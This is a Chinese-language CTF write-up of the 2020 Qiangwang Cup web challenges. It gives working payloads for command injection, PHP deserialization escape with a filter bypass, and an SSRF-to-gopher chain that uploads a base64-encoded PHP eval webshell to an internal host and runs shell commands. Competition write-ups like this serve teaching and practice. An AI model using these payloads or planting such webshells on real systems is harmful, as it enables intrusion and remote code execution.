挺闹心的,web就差一点点,一直被ban ip,打傻了,比赛结束就做出来了,今年连参与奖都拿不到,给自己一个教训
2020强网杯web
主动
直接打
http://39.96.23.228:10002/?ip=;cat%20fla?.php
Funhash
?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop
web辅助
代码审计class.php
这里是最后的flag点,所以需要执行
触发需要tasting,找函数,在midsolo类中的Gank()有stristr函数,可以触发tostring
触发gank需要__invoke(),在topsolo中有TP,
触发__invoke(),而且topsolo有__destruct触发TP
完整的链就通了
在构造的时候可以先把protected改成public然后构造完修改长度
在传递时有一个过滤不能出现name,可以用16进制绕过
反序列化中为了避免信息丢失,使用大写S支持字符串的编码。PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这 个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过
1 | O:6:"player":3:{s:7:"\0*\0user";s:56:"1\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";s:7:"\0*\0pass";s:118:";s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0nam\65";O:7:"midsolo":2:{S:7:"\0*\0nam\65";O:6:"jungle":1:{S:7:"\0*\0nam\65";N;}}}";s:8:"\0*\0admin";i:0;} |
需要构造成这样子,但是我们不可以直接控制,使用反序列化字符逃逸
1 | ?username=1\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00nam\65";O:7:"midsolo":2:{S:7:"%00*%00nam\65";O:6:"jungle":1:{S:7:"%00*%00nam\65";N;}}} |
half_infiltration
这题差一点,一直ban ip,真的很闹心
1 | <?php |
出题人想的是读取flag内容,但是输出的内容都进了缓冲区,必须让他报错出来
假设没有缓冲区,这样可以直接输出yes
1 | $a= new User(); |
来两遍 第一遍放进环境变量,第二遍读取
但是有ob缓冲区的情况需要使用this进行报错
1 | $a= new User(); |
构造字符串
1 | a:2:{i:0;O:4:"User":3:{s:3:"age";O:4:"Pass":0:{}s:3:"sex";s:4:"read";s:3:"num";s:6:"result";}i:0;O:4:"User":3:{s:3:"age";O:4:"Pass":0:{}s:3:"sex";s:4:"read";s:3:"num";s:4:"this";}} |
传入得到ssrf.php
1 | <?php |
先通过file协议读/etc/hosts发现内网ip
然后扫描发现40000端口开放服务,访问发现是留言板,通过题目的提示uploads文件夹以及看html参数,大致可以想到是文件上传,uploads下还有一层目录,盲猜是cookie,访问一下发现确实是这样的,于是使用gopher协议进行文件上传
ban了很多的字符,而且最重要的是一直ban ip,根本不能好好fuzz
实际上ban掉的有这么多
1 | if (stripos($data1,'ph')===false&&stripos($data1,'Pz4=')===false&&stripos($data1,'<?')===false&&stripos($data1,'PD9wa')===false&&stripos($data1,'script')===false&&stripos($data1,'=')===false){ |
所以直接写肯定是不行的,可以使用phpfilter伪协议绕过
使用两次base64就可以了
1 | file=php://filter/convert.base64-decode|convert.base64-decode/resource=tmp.php&content=UEQ5d2FIQWdaWFpoYkNna1gwZEZWRnNuY3lkZEtUcz0= |
构造gopher时注意二次编码
1 | gopher://172.26.98.147:40000/_POST%2520/%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A40000%250D%250AContent-Length%253A%2520129%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520WOW64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/69.0.3497.100%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%2520xml%252Capplication/xml%253Bq%253D0.9%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250ACookie%253A%2520PHPSESSID%253Dsr5c0bis8lffii16ofa3bcgkk5%253B%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250Afile%253Dphp%253A//filter/convert.base64-decode%257Cconvert.base64-decode/resource%253Dtmp.php%2526content%253DUEQ5d2FIQWdaWFpoYkNna1gwZEZWRnNuY3lkZEtUcz0%253D |
由于空格和flag被过滤
1 | http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://172.26.98.147:40000/uploads/sr5c0bis8lffii16ofa3bcgkk5/tmp.php?s=system(%27cat${IFS}/f*%27); |
这样读就有了